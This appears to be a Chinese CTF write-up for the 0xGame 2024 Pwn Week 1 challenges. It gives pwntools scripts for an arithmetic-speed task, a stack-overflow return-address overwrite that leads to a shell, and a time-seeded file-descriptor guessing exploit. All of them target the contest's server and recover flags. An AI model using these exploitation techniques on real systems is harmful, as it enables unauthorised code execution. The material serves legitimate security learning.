0xGame 2024-Pwn-Week 1

[Week 1] 0. test your nc

  • linux系统里控制台直接nc连接
  • 或者win下安装ncat,用ncat替代nc连接
  • 得到flag

[Week 1] 1. test your pwntools

  • 题干要求在10秒内完成100轮的计算
  • 从而拿到shell
  • 编写脚本
from pwn import *
import time
p = remote('47.97.58.52', 40010)
start = time.time()
for i in range(100):
    _ = p.recvline()
    _ = p.recvline()
    task = p.recv()
    task = task.decode('utf-8')
    ans = eval(task[:-3])
    p.sendline(str(ans))
    end = time.time()
    print(f'epchos = {i+1:02d} | times = {end-start:.2f}')
p.interactive()
  • 拿到shell后抓紧操作,应为获取flag时间也算在10秒内
  • ls>cat flag
  • 0xGame{97cb7b84-3886-42fa-a234-1e6228ad0c9a}

[Week 1] 2. stack overflow

  • 栈溢出类似详解
  • 题目说到栈溢出,也就是字符串输入长度没有受限以至于溢出给定的内存大小,覆盖其他内存上的内容
  • IDA逆向查看程序,查看变量的内存地址范围确定是32位
  • 查看函数列表,发现有一个whaaaaaaaaaaaaat的函数(确信
  • 点击函数查看发现在system之前有两个put以及内存地址
  • 如果跳转地址到0x4012BD后续的进程会被打断(其实我并不完全知道原理
  • 但根据直觉地址应该跳到0x4012DD直接执行system指令拿到shell
from pwn import *
p = remote('47.97.58.52',40001)
payload = b'A'*32+b'B'*8+p64(0x4012DD)
p.sendline(payload)
p.interactive()
  • ls>cat flag1&cat flag2
  • 0xGame{786a5d24-51c1-4a6f-a177-0c87f4407767}

[Week 1] 3. positive

  • IDA逆向分析发现存在whaaaaaaaat函数可以直接拿到shell,但是没有被直接引用
  • 沿用上一题的方法,查看堆栈,发现伪c中对于三个变量的位置是这样注释的
  char v4[40]; // [rsp+0h] [rbp-30h] BYREF
  char buf[4]; // [rsp+28h] [rbp-8h] BYREF
  size_t nbytes; // [rsp+2Ch] [rbp-4h]
  • 因而可以分析出堆栈中三者的位置关系如下
--------------------------  <-- 栈底 (rbp)
|       nbytes           |  <-- [rsp+2Ch] / [rbp-4h]   (44字节偏移,8字节)
--------------------------
|        buf[4]          |  <-- [rsp+28h] / [rbp-8h]   (40字节偏移,4字节)
--------------------------
|        v4[40]          |  <-- [rsp+0h] / [rbp-30h]   (栈帧起始,40字节)
--------------------------  <-- 栈顶 (rsp)

[Week 1] 4. find_me

  • IDA逆向分析
  • 发现开头随机打开了v4个fake flag,再打开了一个flag
  • 之后再调用do_bad函数
  • 此函数进行了两轮判断
  • 若输入为1则向传入参数对应的文件写入指定地址上的内容
  • 若输入为0则从传入参数对应的文件读取,并写入指定地址
  • 此处的传入参数指文件描述符
  • 由此可以推导出
  • 第一轮的输入应该为0,<flag的文件描述符>
  • 第二轮的输入应该为1,0
  • 由于flag的文件描述符不确定,应为是依据随机数生成的
  • 所以脚本中采用模拟生成随机数来尽量去拟合
  • 由此可以编写脚本
from pwn import *
import time
context.log_level = 'critical'
n = 1
while True:
    try:
        p = remote('47.97.58.52', 40003)

        current_time = int(time.time())
        random.seed(current_time)
        v4 = str(random.randint(0, 99))

        p.recvline()
        p.recvline()

        p.send(b"0")
        time.sleep(0.1)
        p.send(f"{v4}".encode())
        time.sleep(0.1)
        p.send(b"1")
        time.sleep(0.1)
        p.send(b"0")
        flag = p.recvline().decode().strip("\n")
        print(flag)
        p.close()
        print(f"epochs={n}")
        if flag != "0xx0game{f4ke_fl4g_desu~}":
            break
        n += 1
    except Exception as e:
        continue
  • 0xGame{c19a8184-398c-4306-a586-5db20ce1ae1d}
暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇